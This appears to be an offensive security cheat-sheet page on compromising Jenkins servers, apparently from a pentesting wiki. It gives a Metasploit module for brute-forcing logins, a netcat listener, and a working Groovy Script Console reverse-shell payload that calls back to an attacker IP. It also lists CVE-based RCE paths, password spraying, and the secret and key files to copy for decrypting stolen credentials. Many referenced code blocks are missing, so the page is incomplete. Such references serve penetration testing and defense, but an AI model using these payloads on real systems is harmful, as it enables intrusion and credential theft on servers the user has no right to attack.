githubEdit

Jenkins

Jenkins is an automation server which helps automate the parts of software development related to building, testing, and deploying, etc.

Brute Force Credentials

msfconsole
msf > use auxiliary/scanner/http/jenkins_login

Reverse Shell on Dashboard

You need to have the credential.

  1. Opening Listener on Your Local Machine

nc -lvnp 4444
  1. Login to Jenkins

Access "http://localhost:8080" in browser and login.

  1. Click "Manage Jenkins" -> "Script Console"

  2. Add the Payload in the Console

r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/<Attacker_IP>/4444; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
  1. Click "Run"

Then you should get a shell.

Jenkins

Common bugs

Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserialarrow-up-right to generate a payload. Then RCE using this scriptarrow-up-right:

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Details herearrow-up-right.

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Original RCE vulnerability herearrow-up-right, full exploit herearrow-up-right.

Alternative RCE with Overall/Read and Job/Configure permissions herearrow-up-right.

CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

Execute arbitrary bash commands:

If you don't immediately get a reverse shell you can debug by throwing an exception:

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.

Dumping builds to find cleartext secrets

Use this scriptarrow-up-right to dump build console outputs and build environment variables to hopefully find cleartext secrets.

Password spraying

Use this python scriptarrow-up-right.

Files to copy after compromising

These files are needed to decrypt Jenkins secrets:

  • secrets/master.key

  • secrets/hudson.util.Secret

Such secrets can usually be found in:

  • credentials.xml

  • jobs/.../build.xml

Here's a regexp to find them:

Decrypt Jenkins secrets offline

Use this scriptarrow-up-right to decrypt previously dumped secrets.

Groovy Scripts

Decrypt Jenkins secrets from Groovy

Command execution from Groovy

For multiline shell commands, use the following shell syntax trick (example includes bind shell):

Automate it using this scriptarrow-up-right.

Reverse shell from Groovy

I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

Last updated